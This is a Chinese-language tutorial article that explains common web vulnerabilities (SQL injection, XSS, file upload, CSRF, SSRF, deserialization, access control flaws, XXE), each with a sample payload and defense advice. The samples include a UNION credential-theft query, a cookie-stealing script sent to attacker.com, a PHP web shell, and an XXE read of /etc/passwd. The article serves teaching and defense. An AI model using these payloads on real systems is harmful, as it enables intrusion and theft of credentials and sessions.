插件窝 干货文章 Web漏洞利用姿势的示例分析

Web漏洞利用姿势的示例分析

防御 序列化 攻击者 方案 837    来源:    2025-04-21

以下是对常见Web漏洞利用姿势的示例分析及技术分解,包含攻击原理、实际案例和防御建议:


1. SQL注入(SQLi)

攻击示例

原始URL:  https://example.com/products?id=1
攻击payload:  https://example.com/products?id=1' UNION SELECT username, password FROM users--

利用过程
- 攻击者通过闭合单引号插入UNION查询,窃取数据库中的用户凭证。
- 若后端未过滤输入,数据库会执行恶意SQL语句。

防御方案
- 使用参数化查询(Prepared Statements)
- 最小化数据库账户权限
- 部署WAF(如ModSecurity)


2. 跨站脚本(XSS)

存储型XSS案例

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
  • 攻击者将恶意脚本提交到评论区,其他用户加载页面时自动发送会话Cookie到攻击者服务器。

防御方案
- 输出编码(HTML Entity编码)
- 设置Content-Security-Policy
- 输入验证(白名单过滤)


3. 文件上传漏洞

利用步骤
1. 上传包含Web Shell的PHP文件(如shell.php):

<?php system($_GET['cmd']); ?>
  1. 访问https://example.com/uploads/shell.php?cmd=id执行系统命令。

防御方案
- 限制上传文件类型(校验MIME类型和扩展名)
- 存储上传文件到非Web目录
- 重命名上传文件(避免直接执行)


4. CSRF(跨站请求伪造)

攻击场景

<img src="https://bank.com/transfer?to=attacker&amount=10000" width="0" height="0">
  • 用户登录银行后访问恶意页面,自动发起转账请求(携带会话Cookie)。

防御方案
- 使用CSRF Token
- 检查Referer
- 关键操作需二次验证(如短信确认)


5. SSRF(服务端请求伪造)

利用示例

https://example.com/fetch?url=http://169.254.169.254/latest/meta-data
  • 攻击者利用应用服务器访问AWS元数据接口,获取云服务器敏感信息。

防御方案
- 禁用非必要协议(如file://, gopher://
- 使用白名单限制请求目标域名
- 隔离内网服务


6. 反序列化漏洞

Java反序列化攻击
- 攻击者构造恶意序列化数据(如利用Apache Commons Collections Gadget链),触发远程代码执行。

防御方案
- 避免反序列化用户输入
- 使用安全的序列化库(如JSON)
- 启用反序列化过滤器(Java 9+的ObjectInputFilter


7. 逻辑漏洞(业务层)

案例:越权访问
- 修改URL参数/user/profile?user_id=123124,访问他人数据。
防御方案
- 服务端校验当前用户权限
- 使用UUID替代自增ID


8. XXE(XML外部实体注入)

攻击Payload

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<user><name>&xxe;</name></user>

防御方案
- 禁用DTD(libxml_disable_entity_loader
- 使用JSON替代XML


自动化工具辅助检测

  • SQLi/XSS:SQLmap, XSStrike
  • CSRF/SSRF:Burp Suite, OWASP ZAP
  • 逻辑漏洞:手工测试+业务流分析

防御体系建议

  1. SDL开发流程:安全需求分析 → 安全设计 → 代码审计 → 渗透测试
  2. 纵深防御:WAF + 定期漏洞扫描 + 日志监控(如ELK堆栈)
  3. 漏洞响应:建立CVE补丁更新机制

通过理解这些攻击模式,开发人员和安全团队可更有针对性地加固系统。建议结合OWASP Top 10和MITRE ATT&CK框架持续更新知识库。